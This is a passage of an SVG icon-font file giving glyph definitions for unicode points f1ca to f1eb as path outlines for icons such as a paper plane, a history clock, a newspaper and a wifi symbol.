<glyph unicode="&#xf1ca;" d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406 q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
<glyph unicode="&#xf1cb;" horiz-adv-x="1792" d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546 q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
<glyph unicode="&#xf1cc;" horiz-adv-x="2048" d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94 q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55 t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97q14 -16 29.5 -34t34.5 -40t29 -34q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5 t-85 -189.5z" />
<glyph unicode="&#xf1cd;" horiz-adv-x="1792" d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194 q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5 t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
<glyph unicode="&#xf1ce;" horiz-adv-x="1792" d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5 t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
<glyph unicode="&#xf1d0;" horiz-adv-x="1792" d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41 t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170 t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136 q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
<glyph unicode="&#xf1d1;" horiz-adv-x="1792" d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251 l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162 q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33 q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5 t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71 t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf1d2;" d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85 q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392 q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072 q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf1d3;" horiz-adv-x="1792" d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58 q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47 q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171 v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
<glyph unicode="&#xf1d4;" d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf1d5;" horiz-adv-x="1280" d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5 t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153 t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
<glyph unicode="&#xf1d6;" horiz-adv-x="1792" d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5 q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20 t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5 t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
<glyph unicode="&#xf1d7;" horiz-adv-x="2048" d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25 q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5 q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109 q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
<glyph unicode="&#xf1d8;" horiz-adv-x="1792" d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
<glyph unicode="&#xf1d9;" horiz-adv-x="1792" d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137 l863 639l-478 -797z" />
<glyph unicode="&#xf1da;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5 t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23 t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf1db;" d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf1dc;" horiz-adv-x="1792" d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15 t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2 t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160 q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5 q0 -26 -12 -48t-36 -22z" />
<glyph unicode="&#xf1dd;" horiz-adv-x="1280" d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179 q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
<glyph unicode="&#xf1de;" d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256 q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
<glyph unicode="&#xf1e0;" d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5 t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
<glyph unicode="&#xf1e1;" d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5 t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf1e2;" horiz-adv-x="1792" d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5 t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91 q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9 t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
<glyph unicode="&#xf1e3;" horiz-adv-x="1792" d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323 l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
<glyph unicode="&#xf1e4;" horiz-adv-x="1792" d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23 v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23 zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5 t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
<glyph unicode="&#xf1e5;" horiz-adv-x="1792" d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf1e6;" horiz-adv-x="1792" d="M1755 1083q37 -37 37 -90t-37 -91l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234l401 400 q38 37 91 37t90 -37z" />
<glyph unicode="&#xf1e7;" horiz-adv-x="1792" d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5 t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q3 -2 11 -7 t11 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
<glyph unicode="&#xf1e8;" horiz-adv-x="1792" d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
<glyph unicode="&#xf1e9;" d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36 q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q70 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5 t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87 q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
<glyph unicode="&#xf1ea;" horiz-adv-x="2048" d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19 t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
<glyph unicode="&#xf1eb;" horiz-adv-x="2048" d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121 q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
